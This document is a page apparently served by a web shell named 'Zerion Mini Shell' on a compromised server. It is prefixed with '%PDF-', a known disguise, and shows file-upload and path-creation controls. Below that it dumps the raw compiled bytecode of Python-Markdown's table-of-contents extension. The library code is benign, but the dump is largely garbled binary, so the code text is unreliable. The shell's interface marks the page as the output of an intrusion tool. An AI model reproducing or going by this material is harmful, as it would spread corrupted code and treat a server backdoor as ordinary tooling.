%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/markdown/extensions/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/markdown/extensions/__pycache__/toc.cpython-312.pyc

�

���e�;��6�dZddlmZddlmZddlmZddlmZm	Z	m
Z
mZmZddlm
Z
dd	lZdd	lZdd	lZdd	lmcmZdd
lmZmZmZmZerddlmZddd�Zdd
�Zej:d�Zdd�Zdd�Z ddd�Z!d d�Z"d�Z#Gd�de�Z$Gd�de�Z%d�Z&y	)!z�
Add table of contents support to Python-Markdown.

See the [documentation](https://Python-Markdown.github.io/extensions/toc)
for details.
�)�annotations�)�	Extension�)�
Treeprocessor)�code_escape�parseBoolValue�AMP_SUBSTITUTE�HTML_PLACEHOLDER_RE�AtomicString)�UnescapeTreeprocessorN)�
TYPE_CHECKING�Any�Iterator�
MutableSet)�Markdownc�&�|s7tjd|�}|jdd�jd�}t	j
dd|�j
�j�}t	j
dj|�||�S)z, Slugify a string, to make it URL friendly. �NFKD�ascii�ignorez[^\w\s-]�z[{}\s]+)	�unicodedata�	normalize�encode�decode�re�sub�strip�lower�format)�value�	separator�unicodes   �9/usr/lib/python3/dist-packages/markdown/extensions/toc.py�slugifyr%$st����%�%�f�e�4�����W�h�/�6�6�w�?���F�F�;��E�*�0�0�2�8�8�:�E�
�6�6�*�#�#�I�.�	�5�A�A�c��t||d��S)zP Slugify a string, to make it URL friendly while preserving Unicode characters. T)r#)r%)r!r"s  r$�slugify_unicoder(.s���5�)�T�2�2r&z^(.*)_([0-9]+)$c���||vs|sXtj|�}|r2d|jd�t|jd��dzfz}nd|dfz}||vr�U|s�X|j	|�|S)z@ Ensure id is unique in set of ids. Append '_1', '_2'... if not z%s_%drr)�
IDCOUNT_RE�match�group�int�add)�id�ids�ms   r$�uniquer26sq��
��)�2����R� ����A�G�G�A�J��A�G�G�A�J���(9�:�:�B��B��7�"�B�
��)�2��G�G�B�K�
�Ir&c��g}|j�D]H}t|t�r%|jt	j
|���8|j|��Jdj
|�j�S)zGet title name.r)�itertext�
isinstancer�append�html�unescape�joinr)�el�text�cs   r$�get_namer=Bsa���D�
�[�[�]����a��&��K�K��
�
�a�(�)��K�K��N�	�
�7�7�4�=��� � r&c�@���d��fd�}tj||�S)zN Extract raw HTML from stash, reduce to plain text and swap with placeholder. c���	�jjt|jd��}t
jdd|�}�rt
jdd|�}|S#tt
f$r|jd�cYSwxYw)z& Substitute raw html with plain text. rrz	(<[^>]+>)rz(&[\#a-zA-Z0-9]+;))�	htmlStash�
rawHtmlBlocksr-r,�
IndexError�	TypeErrorrr)r1�raw�res�md�strip_entitiess   ��r$�	_html_subz#stashedHTML2text.<locals>._html_subPs{���	��,�,�,�,�S������_�=�C��f�f�\�2�s�+����&�&�.��C�8�C��
��
�I�&�	��7�7�1�:��	�s�1A&�& B	�B	)r1z
re.Match[str]�return�str)rr)r;rFrGrHs `` r$�stashedHTML2textrKNs���
��"�"�9�d�3�3r&c�8�t�}|j|�S)z Unescape escaped text. )r
r8)r;r<s  r$r8r8_s����A��:�:�d��r&c�(�g}t|��r|jd�}g|d<|dg}|j|�g}|r�|jd�}|d}g|d<||dkrP|j�d}t|�D]}||dkr|dz
}�n|r|d|}|d|}|j|�||dk(r|r|ddn|j|�n6|dj|�|j|�|j|�|}|r��|S)aVGiven an unsorted list with errors and skips, return a nested one.

        [{'level': 1}, {'level': 2}]
        =>
        [{'level': 1, 'children': [{'level': 2, 'children': []}]}]

    A wrong list is also converted:

        [{'level': 2}, {'level': 1}]
        =>
        [{'level': 2, 'children': []}, {'level': 1, 'children': []}]
    r�children�level���rN)�len�popr6�reversed)	�toc_list�ordered_list�last�levels�parents�t�
current_level�to_pop�ps	         r$�nest_toc_tokensr]esJ���L�
�8�}��|�|�A�����Z���w�-������D�!�������Q��A��g�J�M��A�j�M��v�b�z�)��
�
����!�'�*��A�$��'�
�2��!����	�
�#�H�f�W�-�F�%�h��w�/�G��
�
�m�,���r�
�*�,3����Z�(�"�F�F�1�I�
�Z� �'�'��*����t�$��
�
�m�,��D�I�L�r&c�\��eZdZdZd
�fd�Zdd�Zdd�Zd
d�Zdd�Zdd�Z	dd�Z
dd	�Z�xZS)�TocTreeprocessorz& Step through document and build TOC. c���t�|�|�|d|_|d|_t	|d�dz
|_|d|_|d|_|d|_|d|_	t|d	�|_|d
|_t|dd�|_
|j�
|d|_
|d
|_|d|_t|dd�|_t#j$d�|_t)|dt*�r@d|dvr9|dj-d�D�cgc]
}t	|���c}\|_|_yd|_t	|d�|_ycc}w)N�marker�title�	baselevelrr%r"�	toc_class�title_class�
anchorlink�anchorlink_class�	permalinkF�permalink_class�permalink_title�permalink_leadingz[Hh][123456]�	toc_depth�-)�super�__init__rarbr-�
base_levelr%�seprdrer	�use_anchorsrg�use_permalinksrirjrkr�compile�
header_rgxr5rJ�split�toc_top�
toc_bottom)�selfrF�config�x�	__class__s    �r$rozTocTreeprocessor.__init__�sd���
�����!�(�+��� ��/��
��f�[�1�2�Q�6����i�(����+�&�����,��� &�}� 5���!/��|�0D�!E���%+�,>�%?���,�V�K�-@�%�H������&�"(��"5�D��$*�+<�$=���$*�+<�$=���.<�V�DW�=X�Z_�.`����*�*�^�4����f�[�)�3�/�C�6�+�;N�4N�=C�K�=P�=V�=V�WZ�=[�,\��S��V�,\�)�D�L�$�/��D�L�!�&��"5�6�D�O��-]s�Ec#��K�|D]V}|jj|j�r�)|jdvs�8||f��|j|�Ed{����Xy7��w)z? Iterator wrapper to get allowed parent and child all at once. )�pre�codeN)rur+�tag�
iterparent)ry�node�childs   r$r�zTocTreeprocessor.iterparent�sY�����	2�E��?�?�(�(����3��	�	��8X��E�k�!��?�?�5�1�1�1�	2�2�s�+A!�A!�A!�A�A!c�n�|j|�D]�\}}dj|j��j�}|s�6|js�C|jj�|j
k(s�kt
|�dk(s�ztt
|��D]}|||k(s�|||<����y)z Replace marker with elem. rrN)r�r9r4rr;rarQ�range)ry�root�elemr\r<r;�is       r$�replace_markerzTocTreeprocessor.replace_marker�s����o�o�d�+�	�F�Q���7�7�1�:�:�<�(�.�.�0�D����v�v�!�&�&�,�,�.�D�K�K�7�C��F�a�K��s�1�v���A���t�q�y�#��!����	r&c�p�t|jd�|jz}|dkDrd}d|z|_y)z. Adjust header level according to base level. rP�zh%dN)r-r�rp)ryr�rOs   r$�	set_levelzTocTreeprocessor.set_level�s4���D�H�H�R�L�!�D�O�O�3���1�9��E��5�=��r&c�\�tjd�}|j|_d|z|jd<|j|jd<d|_|D]}|j|��t
|�r |j|d�t
|�r� |j|�y)N�a�#�href�classrr)�etree�Elementr;�attribrgr6rQ�remove)ryr<�elem_id�anchorr�s     r$�
add_anchorzTocTreeprocessor.add_anchor�s������s�#���f�f��� #�g�
��
�
�f��!%�!6�!6��
�
�g������	 �D��M�M�$��	 ��!�f�
�H�H�Q�q�T�N��!�f�	����r&c��tjd�}|jdur	dtzn|j|_d|z|j
d<|j|j
d<|jr|j|j
d<|jr+|j|_	d|_|jd	|�y|j|�y)
Nr�Tz%spara;r�r�r�rbrr)r�r�rsr
r;r�rirjrk�tail�insertr6)ryr<r�rhs    r$�
add_permalinkzTocTreeprocessor.add_permalink�s����M�M�#�&�	�!�0�0�D�8�$�n�4�#�2�2�	��$'��=�	���� �$(�$8�$8�	����!����(,�(<�(<�I���W�%��!�!��V�V�I�N��A�F�
�H�H�Q�	�"�
�H�H�Y�r&c���tjd�}|j|jd<|jrLtj
|d�}|jr|j|jd<|j|_d�fd���||�d|jjvr(|jjdj|�|S)z' Return a string div given a toc list. �divr��spanc�0��tj|d�}|D]y}tj|d�}tj|d�}|jdd�|_d|jdd�z|jd<|d	s�n�|d	|��{|S)
N�ul�lir��namerr�r/r�rN)r��
SubElement�getr;r�)rT�parentr��itemr��link�build_etree_uls      �r$r�z6TocTreeprocessor.build_toc_div.<locals>.build_etree_uls�����!�!�&�$�/�B� �
9���%�%�b�$�/���'�'��C�0�� �H�H�V�R�0��	�&)�D�H�H�T�2�,>�&>����F�#��
�#�"�4�
�#3�R�8�
9��Ir&�prettify)rT�listr��
etree.ElementrIr�)r�r�rdr�rbr�rer;rF�treeprocessors�run)ryrTr��headerr�s    @r$�
build_toc_divzTocTreeprocessor.build_toc_divs�����m�m�E�"��"�n�n��
�
�7���:�:��%�%�c�6�2�F����)-�)9�)9��
�
�g�&��*�*�F�K�
	�	�x��%�����/�/�/��G�G�"�"�:�.�2�2�3�7��
r&c��t�}|j�D]/}d|jvs�|j|jd��1g}|j�D�]�}t	|j
t�s�|jj|j
�s�E|j|�t|�}d|jvrRtt||j��}t|j||j �|�|jd<t#|j
d�|j$k\r�t#|j
d�|j&krz|j)t#|j
d�|jdttt+|jj-d|��|jd���d��d|jvr
|jd=|j.r|j1||jd�|j2dvs���|j5||jd����t7|�}|j9|�}|j:r|j=||�|jj?|�}|jj@D]}	|	jC|�}�||j_"||j_#y)Nr/rPzdata-toc-labelF)rG)rOr/r�)FN)$�set�iterr�r.r5r�rJrur+r�r=r8rKrFr2r%rqr-rwrxr6rr�rrr�rsr�r]r�rar��
serializer�postprocessorsr��
toc_tokens�toc)
ry�doc�used_idsr:r�r;�	innertextr�r��pps
          r$r�zTocTreeprocessor.run$sM���5���(�(�*�	.�B��r�y�y� ����R�Y�Y�t�_�-�	.��
��(�(�*�	<�B��"�&�&�#�&�4�?�?�+@�+@����+H����r�"���|���r�y�y�(� (�)9�$����)H� I�I�&,�T�\�\�)�T�X�X�-N�PX�&Y�B�I�I�d�O��r�v�v�b�z�?�d�l�l�2�s�2�6�6�"�:��$�/�/�7Y��%�%�!$�R�V�V�B�Z�� �i�i��o� (�)9�'��	�	�
�
�6F��(M�N� �G�G�E�*�!�'��$�r�y�y�0��	�	�"2�3��#�#��O�O�B��	�	�$��8��&�&�m�;��&�&�r�2�9�9�T�?�;�7	<�:%�Z�0�
�� � ��,���;�;�����S�)��g�g� � ��%���'�'�(�(�	�B��&�&��+�C�	�'���������r&)rFrrzzdict[str, Any])r�r�rIz-Iterator[tuple[etree.Element, etree.Element]])r�r�r�r�rI�None)r�r�rIr�)r<r�r�rJrIr�)rTr�rIr�)r�r�rIr�)
�__name__�
__module__�__qualname__�__doc__ror�r�r�r�r�r�r��
__classcell__�r|s@r$r_r_�s.���0�7�2	2��*!�
� � �>/r&r_c�0��eZdZeZ�fd�Zd�Zdd�Z�xZS)�TocExtensionc���ddgddgddgddgd	d
gddgd
dgddgddgd	dgddgtdgddgddgd�|_	t�|�di|��y)Nz[TOC]zeText to find and replace with Table of Contents. Set to an empty string to disable. Default: `[TOC]`.rz;Title to insert into TOC `<div>`. Default: an empty string.�toctitlez2CSS class used for the title. Default: `toctitle`.r�z4CSS class(es) used for the link. Default: `toclink`.Fz7True if header should be a self link. Default: `False`.�toclinkz5CSS class(es) used for the link. Defaults: `toclink`.rzPTrue or link text if a Sphinx-style permalink should be added. Default: `False`.�
headerlinkz7CSS class(es) used for the link. Default: `headerlink`.zPermanent linkz<Title attribute of the permalink. Default: `Permanent link`.z\True if permalinks should be placed at start of the header, rather than end. Default: False.�1z%Base level for headers. Default: `1`.zFFunction to generate anchors based on header text. Default: `slugify`.rmzWord separator. Default: `-`.r�a'Define the range of section levels to include in the Table of Contents. A single integer (b) defines the bottom section level (<h1>..<hb>) only. A string consisting of two digits separated by a hyphen in between (`2-5`) defines the top (t) and the bottom (b) (<ht>..<hb>). Default: `6` (bottom).)rarbrerdrfrgrhrirjrkrcr%r"rl�)r%rzrnro)ry�kwargsr|s  �r$rozTocExtension.__init__Zs�����$���Q���P���M���P���R�!��e���W� �!�"`� ��n�"��F�G��a���>�?��)��O.
���^	/�
���"�6�"r&c���|j|�||_|j�|j||j	��}|j
j
|dd�y)z% Add TOC tree processor to Markdown. r��N)�registerExtensionrF�reset�TreeProcessorClass�
getConfigsr��register)ryrF�tocexts   r$�extendMarkdownzTocExtension.extendMarkdown�sQ��
���T�"�����
�
���(�(��T�_�_�->�?��
���"�"�6�5�!�4r&c�H�d|j_g|j_y)Nr)rFr�r�)rys r$r�zTocExtension.reset�s�����������r&)rIr�)	r�r�r�r_r�ror�r�r�r�s@r$r�r�Vs���)��2#�h5� r&r�c��tdi|��S)Nr�)r�)r�s r$�
makeExtensionr��s���!�&�!�!r&)F)r!rJr"rJr#�boolrIrJ)r!rJr"rJrIrJ)r/rJr0zMutableSet[str]rIrJ)r:r�rIrJ)T)r;rJrFrrGr�rIrJ)r;rJrIrJ)'r��
__future__rrrr�r�utilrr	r
rrr
rr7r�xml.etree.ElementTreer��ElementTree�typingrrrr�markdownrr%r(rtr*r2r=rKr8r]r_r�r�r�r&r$�<module>r�s����#��*�a�a�2�	���%�%�;�;��!�B�3�
�R�Z�Z�*�
+�
�	�	!�4�"�>�Bm�}�m�`B �9�B �J"r&

Zerion Mini Shell 1.0